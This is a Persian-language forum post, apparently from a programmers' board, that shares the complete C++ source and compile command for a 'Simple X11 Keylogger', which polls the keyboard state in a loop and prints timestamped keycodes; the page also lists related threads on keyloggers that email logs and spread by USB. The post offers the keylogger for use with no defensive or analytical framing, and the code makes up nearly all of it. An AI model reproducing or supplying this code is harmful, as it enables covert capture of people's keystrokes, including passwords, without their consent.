• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: Simple X11 Keylogger
حالت خطی
#1
درود
سورس کد زیر مربوط به کیلاگر میباشید و با زبان سی پلاس پلاس نوشته شده است.
کد:
/*
** Simple X11 Keylogger.
** Developed by Roberto Tacconelli 10 May 2011 (05/10/2011)
** http://www.st4ck.com
**
** Compile: g++ -lX11 keylogger.cpp -o keylogger
**
** This program is free software: you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>

double gettime() {
timeval tim;
gettimeofday(&tim, NULL);
double t1=tim.tv_sec+(tim.tv_usec/1000000.0);
return t1;
}

int main() {
Display *display_name;
int depth,screen,connection;
display_name = XOpenDisplay(NULL);
screen = DefaultScreen(display_name);
depth = DefaultDepth(display_name,screen);
connection = ConnectionNumber(display_name);
printf("Keylogger started\n\nInfo about X11 connection:\n");
printf(" The display is::%s\n",XDisplayName((char*)display_name));
printf(" Width::%d\tHeight::%d\n",
DisplayWidth(display_name,screen),
DisplayHeight(display_name,screen));
printf(" Connection number is %d\n",connection);

if(depth == 1)
  printf(" You live in prehistoric times\n");
else
  printf(" You've got a coloured monitor with depth of %d\n",depth);

printf("\n\nLogging started.\n\n");

char keys_return[32];
while(1) {
  XQueryKeymap(display_name,keys_return);
  for (int i=0; i<32; i++) {
   if (keys_return[i] != 0) {
    int pos = 0;
    int num = keys_return[i];
    printf("%.20f: ",gettime());
    while (pos < 8) {
     if ((num & 0x01) == 1) {
      printf("%d ",i*8+pos);
     }
     pos++; num /= 2;
    }
    printf("\n");
   }
  }
  usleep(30000);
}
XCloseDisplay(display_name);
}
موفق باشید
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


پیام‌های این موضوع
Simple X11 Keylogger - توسط Amin_Mansouri - 10-12-2011، 12:08 AM

موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  Keylogger + Email + USB Spread Written in C# Amin_Mansouri 1 4,599 05-01-2014، 08:57 PM
آخرین ارسال: skeyt!
  Simple keylogger in Delphi Amin_Mansouri 0 3,370 05-07-2011، 10:56 PM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان